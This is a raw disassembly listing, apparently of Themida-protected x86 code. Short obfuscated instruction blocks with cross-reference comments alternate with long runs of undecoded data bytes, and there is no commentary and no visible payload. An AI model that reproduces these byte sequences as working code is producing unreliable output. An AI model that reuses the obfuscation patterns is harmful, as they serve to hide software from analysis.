; ---------------------------------------------------------------------------
db 58h
dd 270E685Eh, 64E90000h, 68FFFFE9h, 0B6h, 66240489h, 663E4D68h
dd 9F356658h, 0EB356644h, 0C3896667h, 5C296658h, 64E90424h
dd 31FFFF79h, 0B97BE9E8h, 0EAC1FFFFh, 56F28103h, 8973C228h
dd 0D6355AD0h, 0E90DB979h, 0FFFFB040h, 0CEEEE95Dh, 0D001FFFFh
dd 0F568535Ah, 5B7A1007h, 11D1E9h
db 0
; ---------------------------------------------------------------------------
loc_560A7D: ; CODE XREF: Themida_:00550478j
push 56DDh
mov [esp], edx
jmp loc_557B44
; ---------------------------------------------------------------------------
dw 868h
dd 89000067h, 0B652240Ch, 56C680F9h, 0AAE9F588h
db 8Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560A9F: ; CODE XREF: Themida_:00559A87j
add ebx, 4
jmp loc_563929
; ---------------------------------------------------------------------------
dw 0C781h
dd 7E45860Dh, 0BE9F929h, 68FFFF4Dh, 3268h, 89240489h, 405E0h
dd 3DE90000h, 6800000Eh, 38AE0A72h, 0D451E959h, 0EA81FFFFh
dd 0F325A8Ah, 0C281CA01h, 0F325A8Ah, 2C28359h, 2474FF52h
dd 2434FF04h, 5A2434FFh, 4C481h, 96E90000h
db 45h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_560AFF: ; CODE XREF: Themida_:00554D4Cj
pop esi
mov edx, ecx
pop ecx
jmp loc_558546
; ---------------------------------------------------------------------------
loc_560B08: ; CODE XREF: Themida_:0055DC12j
sub [esp+4], ebx
sub dword ptr [esp+4], 4B373EC6h
sub esp, 4
mov [esp], edx
mov edx, 36B00316h
sub [esp+8], edx
pop edx
pop ebx
jmp loc_558564
; ---------------------------------------------------------------------------
db 81h, 0C7h, 22h
dd 5E39DC55h, 262CF781h, 1EE9C39Bh, 66FFFFF9h, 486DE950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560B46: ; CODE XREF: Themida_:0055C4AEj
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_561A62
; ---------------------------------------------------------------------------
loc_560B5B: ; CODE XREF: Themida_:005517F4j
add ebp, esi
jmp loc_554BC3
; ---------------------------------------------------------------------------
dw 3489h
dd 0E0685524h, 8B00821Ch, 8950242Ch, 405E0h, 0C0830000h
dd 0FA8FE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560B7E: ; CODE XREF: Themida_:00558720j
xchg eax, [esp]
jmp loc_55D0D8
; ---------------------------------------------------------------------------
dd offset dword_434E64+4
dw 8900h
dd 3668240Ch, 89000054h, 4812424h, 424h, 2434FF00h, 0FF3959E9h
dd 240C89FFh, 0E90FB353h, 1F1Ah, 0D057D4BDh, 30C5814Eh
dd 1B12FA8h, 242C8BEFh, 4C481h, 0EF810000h, 4, 5C243C87h
dd 68240C89h, 24CDh, 50241C89h, 9734F1B8h, 2E8C16Ah, 7E8C148h
dd 0EF759405h, 0A267053Dh, 7EE9EB3Ch, 0D0FFFFD5h, 0E9C2FEE2h
dd 0FFFFAD34h, 0E904E883h, 0FFFFE183h, 0C9582D5Fh, 0C32113BAh
dd 0FF5071E9h, 0E9D1F7FFh, 2D57h, 0D73E1B68h, 24348B78h
dd 4C481h, 0C6810000h, 0B181DD73h, 415EF189h, 2026E181h
dd 89531BE3h, 0EE90E9E3h, 815AFFFFh, 0F22185EFh, 81F7015Dh
dd 0F22185C7h, 3C335E5Dh, 243C3124h, 8B243C33h, 0BDE92424h
dd 0C1FFFF11h, 0A4E908EEh
db 43h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560C6B: ; CODE XREF: Themida_:0055A3FEj
pop esp
xchg ax, [esp]
jmp loc_54FF17
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0FFEEB6E9h, 369B68FFh, 2C890000h, 5E93BD24h, 0FDE9192Dh
dd 56FFFF3Fh, 771157BEh, 48F8E95Fh, 555A0000h, 0FFD998E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560CA1: ; CODE XREF: Themida_:00563A5Dj
add esi, 4
jmp loc_55BB82
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 6624248Bh, 2404BB0Fh, 0F25DE99Ch, 74FFFFFEh, 0E95E0424h
dd 0FFFF4257h
; ---------------------------------------------------------------------------
loc_560CC4: ; CODE XREF: Themida_:0055766Fj
add esp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push edx
jmp loc_559899
; ---------------------------------------------------------------------------
dd 0F747E7D1h, 47F781DFh, 810843E5h, 0F83003EAh, 81FA0156h
dd 0F83003C2h, 0D0315F56h, 4EC835Ah, 89240C89h, 595E51C1h
dd 0EC834E58h, 0FED4E904h, 5153FFFEh, 5467C0B9h, 81D1F75Fh
dd 701805C1h, 50E18138h, 8143214Dh, 634E11C1h, 59CB89F5h
dd 57BE956h, 0EE80FFFFh, 56D72C39h, 0C681E689h, 4, 8704EE83h
dd 248B2434h, 241C8924h, 792C70B3h, 7904D800h, 0DB045Bh
dd 52DB2CF0h, 0F6808CB6h, 5AF028FCh, 148BD704h, 4C48324h
dd 5A116851h, 1C890000h, 52D8B324h, 0D588DA88h, 0E924148Bh
dd 0FFFFB1ADh
dword_560D7C dd 0E92434FFh, 0FFFF864Bh, 8924248Bh, 0E9512404h, 0FFFFE164h
; DATA XREF: Themida_:0054FE38o
dd 0F6E95357h, 68000014h, 40844700h, 0B904BA5Eh, 0F201BF7Bh
dd 0FFD7015Eh, 0E95A2434h, 0FFFFF01Bh, 57E5815Eh, 817DF200h
dd 0E0000CEDh, 0FFEB896Ch, 815D2434h, 4C4h, 0BD555000h
dd 7F9B3CB1h, 4EC81h, 2C890000h, 3D3BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_560DDE: ; CODE XREF: Themida_:00558E2Bj
add esp, 4
push 1F1Dh
jmp loc_55247B
; ---------------------------------------------------------------------------
dw 0CB2h
dd 0FF019BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560DF5: ; CODE XREF: Themida_:005623AAj
push esp
push dword ptr [esp]
jmp loc_55AA3C
; ---------------------------------------------------------------------------
loc_560DFE: ; CODE XREF: Themida_:0054FF4Fj
push eax
mov eax, 2
add ebp, eax
mov eax, [esp]
jmp loc_55D41E
; ---------------------------------------------------------------------------
dw 248Bh
dd 0FB4BE924h, 483FFFEh, 98E90424h, 66FFFF2Ch, 2404BB0Fh
dd 0A4EEE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560E2A: ; CODE XREF: Themida_:0055F105j
sub eax, edi
add eax, 14BE27E2h
pop edi
jmp loc_5535F0
; ---------------------------------------------------------------------------
loc_560E37: ; CODE XREF: Themida_:005607E1j
mov edx, 4FC847D3h
sub [edi+24h], edx
pop edx
push dword ptr [esp]
jmp loc_557267
; ---------------------------------------------------------------------------
dd 0E9CBB450h, 0FFFF5D01h, 0FFC6015Dh, 81582434h, 4C4h
dd 5F545700h, 1632E951h, 0E04FFFFh, 0E2CD828h, 535BE62Ch
dd 0B7D3B050h, 4DEF8073h, 0C780C700h, 2434FF4Dh, 4C48158h
dd 66000000h, 9000E951h, 1C33FFFFh, 241C3124h, 0FFB3D1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560E99: ; CODE XREF: Themida_:00559633j
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_54FF17
; ---------------------------------------------------------------------------
loc_560EA9: ; CODE XREF: Themida_:00553E80j
sub esp, 4
jmp loc_56047C
; ---------------------------------------------------------------------------
db 0BBh, 4, 0
dd 7FE90000h, 100003Ah, 68575DEBh, 2, 0FFFB015Fh, 815F2434h
dd 4C4h, 0E7E95300h
db 46h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560ED7: ; CODE XREF: Themida_:00557A60j
add ebx, 69862A17h
add ebx, ebp
push eax
mov eax, 69862A17h
sub ebx, eax
pop eax
pop ebp
jmp loc_564037
; ---------------------------------------------------------------------------
loc_560EEE: ; CODE XREF: Themida_:00559466j
add ebp, 4
jmp loc_561519
; ---------------------------------------------------------------------------
loc_560EF9: ; CODE XREF: Themida_:0055A805j
xor eax, edi
xor edi, eax
xor eax, ebp
xor ebp, eax
xor eax, ebp
not ebp
xchg eax, ebp
jmp loc_55AEA4
; ---------------------------------------------------------------------------
loc_560F0B: ; CODE XREF: Themida_:005524ADj
mov [esp], edx
jmp loc_554088
; ---------------------------------------------------------------------------
db 0B5h
dd 0D7CD802Fh, 0E5D0DDF6h, 0C013F580h, 2DE905EDh, 5C00002Fh
dd 0E9240489h, 0FFFF8708h, 8749CD87h, 9291E9CDh, 348BFFFFh
dd 4C48324h, 8724048Fh, 87D5F7EEh, 243431EEh, 31243433h
dd 34FF2434h, 3092E924h, 34FF0000h, 24048B24h, 67EB6856h
dd 3CE90000h, 8BFFFF67h, 0C483240Ch, 24043304h, 33240431h
dd 248B2404h, 0F9F76624h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h
dd 68241C89h, 3DC4h, 0FF4663E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560F9D: ; CODE XREF: Themida_:0055D085j
mov edx, 4
jmp loc_55CC68
; ---------------------------------------------------------------------------
db 53h
dd 0C381E389h, 4, 8702EB83h, 248B241Ch, 0C896624h, 3D686624h
dd 1489661Dh, 773C6824h, 4890000h, 0FE1EB424h, 0F9CC80CCh
dd 0D4F6CCFEh, 0FFC2B0E9h, 80E381FFh, 0E96EFC16h, 0FFFF7EBEh
dd 4C481h, 5DE90000h, 0F7000003h, 243C87D7h, 57D0F758h
dd 0FF8B16E9h, 336D35FFh, 0C5810A67h, 10D67C3Ch, 0ED81C501h
dd 10D67C3Ch, 0E9F50158h, 0FFFFB8A7h, 240C8966h, 0C8B60F66h
dd 0E99C5166h, 0FFFEEEEBh, 53240489h, 0E980B450h, 0FFFF02B0h
dd 4240481h, 59000000h, 4C181h, 68570000h, 4, 5FF9295Fh
dd 0FF8E8CE9h, 3EDC1FFh, 0FB0CC581h, 5BE94E63h
db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_561063: ; CODE XREF: Themida_:0055AC5Dj
mov [esp], edx
jmp loc_54FFD3
; ---------------------------------------------------------------------------
db 89h
dd 0E954242Ch, 0FFFF9ED2h
; ---------------------------------------------------------------------------
loc_561074: ; CODE XREF: Themida_:0055E060j
mov esp, [esp]
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_558BD4
; ---------------------------------------------------------------------------
db 56h
dd 165FE954h, 0C483FFFFh, 4BE5604h, 1000000h, 1C875EF3h
dd 24248B24h, 4968E9F7h, 89000047h, 0FDE92414h
db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5610AF: ; CODE XREF: Themida_:0055EA1Aj
mov ebx, 0FFD7F8FDh
add edi, ebx
jmp loc_5630DE
; ---------------------------------------------------------------------------
db 0B1h
dd 66D9F648h, 30C0B753h, 815B66F9h, 2ECh, 8216E900h, 0BE56FFFFh
dd 36085DF4h, 0F681EED1h, 103B6F6Dh, 7E04EE81h, 4EE95985h
dd 29FFFF8Bh, 34875BDEh, 24248B24h, 24148966h, 0E99C5066h
dd 0FFFEEE17h
; ---------------------------------------------------------------------------
loc_561100: ; CODE XREF: Themida_:005528D0j
and esi, edx
pop edx
sub esi, 6E2B29F7h
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_554593
; ---------------------------------------------------------------------------
loc_56111D: ; CODE XREF: Themida_:005576EEj
mov esp, [esp]
add esp, 4
shr eax, 12h
xor eax, ecx
jmp loc_555662
; ---------------------------------------------------------------------------
loc_56112D: ; CODE XREF: Themida_:005640CEj
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_55582A
; ---------------------------------------------------------------------------
db 83h, 0C2h, 2
dd 5C241487h, 5DE82966h, 2F3B6866h, 240C8966h, 0FF98B966h
dd 0BB665366h, 81E90F2Bh, 51000044h, 4B9h, 244C0100h, 5CACE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56117A: ; CODE XREF: Themida_:0055B86Cj
add esp, 4
loc_561180: ; CODE XREF: Themida_:0055BBF0j
sub esp, 4
mov [esp], ecx
mov ecx, esp
jmp loc_555341
; ---------------------------------------------------------------------------
db 2Ch, 34h, 0E9h
dd 0FFFF769Bh, 0BB241C89h, 0ED8534Bh, 0D3F7DBF7h, 0B8D0C381h
dd 0D8291945h, 6BC9685Bh, 4890000h, 4A585A24h, 3CA7F281h
dd 0F281714Ah, 2A9D721Fh, 1F28EE81h, 0D6296CE6h, 1F28BA52h
dd 0D6016CE6h, 0FF3BC2E9h, 80E700FFh, 8FE9D1C7h, 5AFFFF48h
dd 0FF53F9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5611E5: ; CODE XREF: Themida_:0056213Dj
add ebp, 4
xchg ebp, [esp]
pop esp
mov ebx, ecx
mov ecx, [esp]
jmp loc_553F94
; ---------------------------------------------------------------------------
dw 3359h
dd 3C31243Ch, 243C3324h, 0C8B60F5Ch, 7D3468h, 24348900h
dd 2B668h, 48F5400h, 4EC8324h, 0E9241489h, 0FFFF61C0h
dd 4BB53h, 0D9290000h, 74FF515Bh, 0E9590424h, 0FFFFE8BAh
dword_561234 dd 5324048Bh, 518C68h, 779E900h, 74FF0000h, 1C8B0424h
; DATA XREF: Themida_:0054FD54o
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 39D6423h
push edi
jmp loc_552DB0
; ---------------------------------------------------------------------------
dw 248Bh
dd 4296624h, 0ACE99C24h
db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56126B: ; CODE XREF: Themida_:0055B4F7j
mov eax, 339717BAh
sub eax, 1
shl eax, 2
and eax, 18A33E86h
push edx
mov edx, 7B1F0C6Ch
or eax, edx
jmp loc_55FF65
; ---------------------------------------------------------------------------
dd 0C71FE953h, 84E9FFFFh, 8BFFFEECh, 8952242Ch, 4C281E2h
dd 81000000h, 4ECh, 240C8900h, 4B9h, 59CA0100h, 5C241487h
dd 0FFFFBA52h, 0D129FFFFh, 6896E95Ah, 8059FFFFh, 0C68074E6h
dd 5AF000E5h, 5366C828h, 0FFC1F5E9h, 4EC81FFh, 89000000h
dd 0C568243Ch, 5F7C0F16h, 8104EFC1h, 0A71CE5C7h, 0B3C78150h
dd 57A797F1h, 7D51BE56h, 7429759Eh, 5A5E0424h, 7D51B850h
dd 0C201759Eh, 0FFE211E9h, 4EA83FFh, 0E904EC83h, 4063h
dd 1ED81h, 0E5810000h, 490F454Bh, 44BAC581h, 0E801FB45h
dd 58C2315Dh, 815AD701h, 4C7h, 243C3300h, 33243C31h, 248B243Ch
dd 2434FF24h, 0E924048Bh, 0FFFF8E3Fh, 0BE565152h, 706D5625h
dd 6D5629B9h, 5EF12970h, 56E9CA89h, 81FFFF47h, 9E02F7E9h
dd 8EF4E900h, 0C281FFFFh, 4, 4EA81h, 14330000h, 24143124h
dd 0E9241433h, 0FFFFAE1Dh
; ---------------------------------------------------------------------------
loc_56138C: ; CODE XREF: Themida_:00562B65j
mov esi, 764679EBh
jmp loc_5613B1
; ---------------------------------------------------------------------------
dw 0CDFEh
dd 0FFEFFEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56139D: ; CODE XREF: Themida_:005555E6j
neg eax
inc eax
sub eax, 0BE09E83Ch
sub edi, eax
pop eax
pop esi
xchg edi, [esp]
jmp loc_5634D5
; ---------------------------------------------------------------------------
loc_5613B1: ; CODE XREF: Themida_:00561391j
add edx, esi
mov esi, [esp]
add esp, 4
jmp loc_54FF17
; ---------------------------------------------------------------------------
db 5Ch, 8Bh, 0Ch
dd 4C48124h, 1000000h, 0BE565EF7h, 2, 835EF701h, 3C8904ECh
dd 2474FF24h, 48F5F04h, 24248B24h, 0FF85F1E9h, 58C331FFh
dd 3D1EF81h, 0C7811733h, 397B7918h, 0FFBFAEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561401: ; CODE XREF: Themida_:0055E00Bj
not eax
jmp loc_5524EE
; ---------------------------------------------------------------------------
loc_561408: ; CODE XREF: Themida_:00561B76j
add bl, 81h
sub bl, al
push eax
jmp loc_55A5B7
; ---------------------------------------------------------------------------
db 81h
dd 0FAE58FC6h, 0EBDE930h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56141E: ; CODE XREF: Themida_:00551E38j
mov ebp, [esp]
jmp loc_55BBCC
; ---------------------------------------------------------------------------
word_561426 dw 8B66h ; DATA XREF: Themida_:0054FC70o
dd 15E92404h, 81000004h, 9348D5F7h, 0FFF93147h, 835F2434h
dd 0E98104C4h, 31176331h, 8108E9C1h, 353733C9h, 0DAE98124h
dd 81A8235Ch, 967BC9EAh, 0BFEA8163h, 53598132h, 0FF2262E9h
dd 0CD295BFFh, 0FF9250E9h, 4C281FFh, 0E9000000h, 0FFFF0AC3h
dd 0BF574848h, 8280840Ch, 1657EB05h, 0E9F80158h, 0FFFF1A8Eh
dd 685BDC88h, 2EB0h, 0FF5714E9h, 241C8BFFh, 8104C483h
dd 4C4h, 24048F00h, 243CD25Ch, 0EA65E99Ch, 0C281FFFEh
dd 5598324Ah, 0E9240C8Bh, 0FFFFBED5h
; ---------------------------------------------------------------------------
loc_5614C0: ; CODE XREF: Themida_:0055A74Fj
push eax
mov eax, 156F74C3h
add ebx, eax
push dword ptr [esp]
pop eax
add esp, 4
sub ebx, 4BC26BA0h
add ebx, esi
add ebx, 4BC26BA0h
sub ebx, 156F74C3h
add ebx, 14E2775h
jmp loc_55FEC4
; ---------------------------------------------------------------------------
dw 487h
aSs db '$\és:',0
dw 0BE00h
dd 4, 4247401h, 2434FF5Eh, 6E9555Fh, 8BFFFFEDh, 0C4812414h
dd 4, 0FF0E0CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561519: ; CODE XREF: Themida_:00560EF4j
push esi
mov esi, 4
add ebp, esi
pop esi
push ebp
jmp loc_55F19C
; ---------------------------------------------------------------------------
dd 62BF5759h, 0E92B230Dh, 0FFFF9116h
; ---------------------------------------------------------------------------
loc_561534: ; CODE XREF: Themida_:0055220Fj
push ecx
jmp loc_5567DD
; ---------------------------------------------------------------------------
dw 0E95Fh
dd 0FFFF7699h, 0C5815D54h, 4, 26852h, 0E95A0000h, 0FFFF0709h
dd 0E904EC83h, 0FFFF6A5Dh, 76EECD81h, 0F0E96DD4h, 0B2FFFFE8h
dd 600AE972h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56156E: ; CODE XREF: Themida_:00564069j
dec ebx
xor ebx, 4E6461F9h
jmp loc_56526D
; ---------------------------------------------------------------------------
loc_56157A: ; CODE XREF: Themida_:00562699j
push ebx
push esp
pop ebx
jmp loc_55D860
; ---------------------------------------------------------------------------
dw 0D158h
dd 6BBE56E9h, 5722EB0Ah, 0ED38CDBFh, 196EE97Eh, 7F830000h
dd 840F0020h, 0FFFFAB08h, 5E1468h, 241C8900h, 0FF26AAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5615AD: ; CODE XREF: Themida_:00559DADj
xor ecx, [esp]
xor [esp], ecx
jmp loc_5592B8
; ---------------------------------------------------------------------------
dd 0A3643BAh, 0F443E962h, 4BEFFFEh, 1000000h, 24348BF0h
dd 0FF474FE9h, 815E54FFh, 4C6h, 224E900h, 0BD550000h, 245D44E8h
dd 3EBCE952h, 685CFFFFh, 6CA4h, 0FF956FE9h, 31A8BBFFh
dd 0DBF77918h, 0D3F7D3F7h, 26F3814Bh, 89BBECC3h, 57A8E9DDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56160E: ; CODE XREF: Themida_:0055703Bj
add edx, 1D9C2CE3h
add edx, ebx
sub edx, 1D9C2CE3h
jmp loc_5547C0
; ---------------------------------------------------------------------------
loc_561621: ; CODE XREF: Themida_:00554DD4j
add ecx, eax
jmp loc_5517F9
; ---------------------------------------------------------------------------
dd 4C481h, 0ECC00000h, 0BBB75308h, 0C780CFFEh, 0E9FC004Eh
dd 0FFFF655Bh, 4CE9C388h, 8F000016h, 248B2404h, 24040924h
dd 0E8C1E99Ch, 1C8BFFFEh, 4C48324h, 4EC8357h, 0FF243489h
dd 0E9042474h, 0FFFFF8CEh, 307CB55Bh, 961FE9C5h, 8F5EFFFFh
dd 10E92404h, 89FFFF7Fh, 565150E1h, 271A6F68h, 0EE815E48h
dd 0D32F00C0h, 89F08950h, 0EDE958C1h
db 7Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56169B: ; CODE XREF: Themida_:0055351Cj
xor edx, eax
jmp loc_5526AF
; ---------------------------------------------------------------------------
dw 895Ch
dd 74FF2404h, 48B0424h, 1EE95624h
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5616B3: ; CODE XREF: Themida_:00552D7Cj
push 6CDEh
mov [esp], edx
mov edx, 7A117B7Ah
not edx
shl edx, 1
xor edx, 0BDD090Eh
sub ecx, 1E3C28DEh
add ecx, edx
add ecx, 1E3C28DEh
pop edx
xchg ecx, [esp]
jmp loc_5605CC
; ---------------------------------------------------------------------------
loc_5616E1: ; CODE XREF: Themida_:005535D3j
mov ecx, esp
jmp loc_55E53A
; ---------------------------------------------------------------------------
loc_5616E8: ; CODE XREF: Themida_:0055CFEEj
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_55FA23
; ---------------------------------------------------------------------------
db 0FFh
dd 8B042474h, 79E9240Ch, 8BFFFFDAh
db 14h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55ED6F
; ---------------------------------------------------------------------------
loc_56172A: ; CODE XREF: Themida_:005593CAj
push esi
jmp loc_562B32
; ---------------------------------------------------------------------------
loc_561730: ; CODE XREF: Themida_:00552231j
xchg ebp, [esp]
pop esp
mov eax, [edx]
push dword ptr [esp]
mov edx, [esp]
push ebx
push esp
pop ebx
add ebx, 4
push edx
mov edx, 4
jmp loc_55388A
; ---------------------------------------------------------------------------
dd 55BD555Eh, 53341A15h, 0DC744DBBh, 5BDD0929h, 0C103E5C1h
dd 1BE902E5h
db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56176B: ; CODE XREF: Themida_:0056546Cj
mov [esp], ebx
push edx
mov dh, al
mov bl, dh
jmp loc_5527EF
; ---------------------------------------------------------------------------
loc_561778: ; CODE XREF: Themida_:00562E09j
xchg edx, [esp]
pop esp
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_555298
; ---------------------------------------------------------------------------
loc_56178C: ; CODE XREF: Themida_:00563E9Ej
pop ebx
add esp, 4
push edx
push eax
mov al, ch
mov dh, al
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
jmp loc_5565AC
; ---------------------------------------------------------------------------
loc_5617AA: ; CODE XREF: Themida_:00551C28j
mov ebp, 295D5EC3h
and ebp, 787F33D0h
push ebx
mov ebx, 19CC6696h
add ebp, ebx
mov ebx, [esp]
add esp, 4
sub ebp, 37BE6182h
add ecx, 45454F39h
add ecx, ebp
sub ecx, 45454F39h
pop ebp
push ebp
mov ebp, 6D437A69h
push ebp
not dword ptr [esp]
pop ebp
add ebp, 0A5EEB714h
add eax, ebp
mov ebp, [esp]
add esp, 4
add eax, ecx
jmp loc_55F48B
; ---------------------------------------------------------------------------
db 89h
dd 57AFE9E6h, 0C683FFFFh, 24348704h, 24048F5Ch, 0FFF13AE9h
dd 52E189FFh, 0C43F56BAh, 7BF28178h, 0F70BB23Fh, 81DAF7DAh
dd 760029F2h, 5AD10173h, 4E981h, 0FF510000h, 59042474h
dd 5C24048Fh, 0E9243489h, 0FFFF2222h, 4EC8355h, 83242489h
dd 0E9042404h, 3C43h
; ---------------------------------------------------------------------------
loc_561854: ; CODE XREF: Themida_:0055F2A5j
shl edi, 2
neg edi
sub esp, 4
mov [esp], edx
mov edx, 5ECC2FC2h
neg edx
jmp loc_55F4CD
; ---------------------------------------------------------------------------
dw 5566h
dd 5D665766h, 4F665F66h, 66FD8766h, 8166D5F7h, 6660FBC5h
dd 9F98C581h, 5DE80166h, 66D80166h, 66164A2Dh, 0E9241C8Bh
dd 0FFFF09F1h
; ---------------------------------------------------------------------------
loc_56189C: ; CODE XREF: Themida_:005597D5j
xor esi, 4D77E7D8h
add edx, esi
pop esi
or ebp, edx
mov edx, [esp]
jmp loc_55F68C
; ---------------------------------------------------------------------------
byte_5618AF db 68h ; DATA XREF: Themida_:0054FE94o
dd 3581h, 51240489h, 0FEB9h, 9AF6800h, 1C890000h, 3F53E924h
dd 0FE29FFFFh, 21E9565Fh, 56FFFFACh, 45536852h, 895A27C0h
dd 24148BD6h, 4C481h, 0D6F70000h, 0E908E6C1h, 0FFFF0D20h
dd 0F7BBC581h, 0E8011519h, 0FF34DCE9h, 0A3EB81FFh, 0E9613011h
dd 0FFFFA64Fh, 8704C083h, 11E92404h
db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561913: ; CODE XREF: Themida_:0055384Cj
pop edi
push ebp
mov ebp, 30321EC3h
jmp loc_551945
; ---------------------------------------------------------------------------
loc_56191F: ; CODE XREF: Themida_:0055E170j
mov eax, [esp]
add esp, 4
and eax, ebp
pop ebp
or eax, eax
jmp loc_563597
; ---------------------------------------------------------------------------
loc_561932: ; CODE XREF: Themida_:0055C61Ej
neg ebx
push ebx
not dword ptr [esp]
pop ebx
xor ebx, 56E34E08h
add eax, 19504D65h
add eax, ebx
sub eax, 19504D65h
pop ebx
add eax, esi
push esi
mov esi, 58087FC7h
or esi, 54414874h
add esi, 0AA19CFC2h
jmp loc_558717
; ---------------------------------------------------------------------------
db 5Ch, 8Bh, 3Ch
dd 4C48124h, 81000000h, 4ECh, 240C8900h, 1FCF6855h, 2C8B725Ch
dd 4C48124h, 0C1000000h, 0CD8106E5h, 7D4C1318h, 0B7BEED81h
dd 0E989CC70h, 7E1C15Dh, 5104E1C1h, 0E92414F7h, 0FFFFE084h
dd 675EC681h, 0CE014DEEh, 31A1BF57h, 0AE95016h, 54FFFFF0h
dd 8124048Fh, 42404h, 1C8B0000h, 4C48324h, 0FF17B3E9h
dd 0E9E328FFh, 0FFFF0D86h
dword_5619D8 dd 0E9D830ACh, 0FFFF6F3Ah, 0BD242C89h, 0F59265Ah, 29F5814Dh
; DATA XREF: Themida_:0054FC8Co
dd 0E963ED11h, 0FFFFFB68h, 0DCE9D3F7h, 53FFFF4Dh, 5F71E954h
dd 7768FFFFh, 0E900003Eh, 0FFFEEBFFh, 0F279C268h, 24348B2Ch
dd 8104C483h, 0D863DF6h, 0E9F389D3h, 0FFFEF4A8h
; ---------------------------------------------------------------------------
loc_561A24: ; CODE XREF: Themida_:0055B544j
add ebp, edx
add ebp, 6A675F83h
add ebp, 6DA7DF6h
mov edx, [esp]
add esp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_55503B
; ---------------------------------------------------------------------------
dw 0D6F7h
dd 3B05C681h, 5956B344h, 26BB535Eh, 8140A520h, 7C7E27F3h
dd 20CCE942h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_561A62: ; CODE XREF: Themida_:00560B56j
mov [esp], edx
xchg ecx, [esp]
jmp loc_563258
; ---------------------------------------------------------------------------
loc_561A6D: ; CODE XREF: Themida_:0055030Ej
sub esi, edi
add esi, 32AE1441h
pop edi
sub ebx, esi
pop esi
push 4ED5h
jmp loc_552F0D
; ---------------------------------------------------------------------------
db 81h
dd 0F00257CBh, 23C3E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561A8E: ; CODE XREF: Themida_:loc_5646A7j
shr edx, 1
jmp loc_55511C
; ---------------------------------------------------------------------------
db 1, 0E9h, 81h
dd 0D567E8C1h, 0C1295D50h, 0DE3E981h, 48B5687h, 4C48124h
dd 68000000h, 693Ch, 0FF1B57E9h, 2434FFFFh, 0D9D7E95Ah
db 2 dup(0FFh)
word_561AC2 dw 8B66h ; DATA XREF: Themida_:0054FD1Co
dd 0F6682404h, 8900001Ah, 0E389241Ch, 406B6852h, 815A772Dh
dd 1706E5F2h, 60CA8174h, 812EF609h, 0FE4FEAEAh, 0E9C3812Fh
dd 10FE658h, 0E9EB81D3h, 8B0FE658h, 0E9E92414h
db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561AFF: ; CODE XREF: Themida_:00564CC1j
sub dl, 62h
add bl, dl
pop edx
add bl, 0C8h
jmp loc_5646F0
; ---------------------------------------------------------------------------
db 0B9h, 4, 0
dd 0CB010000h, 4C38159h, 87000000h, 248B241Ch, 0E0895024h
dd 405h, 4C08300h, 0FF3A41E9h, 31BABDFFh, 7F686B76h, 8900007Fh
dd 0FABB241Ch, 1477C43h, 0EC835BDDh, 240C8904h, 81E78957h
dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0E9532434h, 0FFFF4944h
; ---------------------------------------------------------------------------
loc_561B68: ; CODE XREF: Themida_:00563AFEj
shr bl, 4
not bl
sub bl, 0F2h
xor bl, ch
pop ecx
xor al, bl
pop ebx
jmp loc_561408
; ---------------------------------------------------------------------------
loc_561B7B: ; CODE XREF: Themida_:005600B1j
xchg ebx, [esp]
jmp loc_5533F1
; ---------------------------------------------------------------------------
db 87h
dd 248B2404h, 4C48324h, 3987E9h
db 0
; ---------------------------------------------------------------------------
loc_561B91: ; CODE XREF: Themida_:00557681j
sub esi, 5229132Fh
pop eax
jmp loc_5567AC
; ---------------------------------------------------------------------------
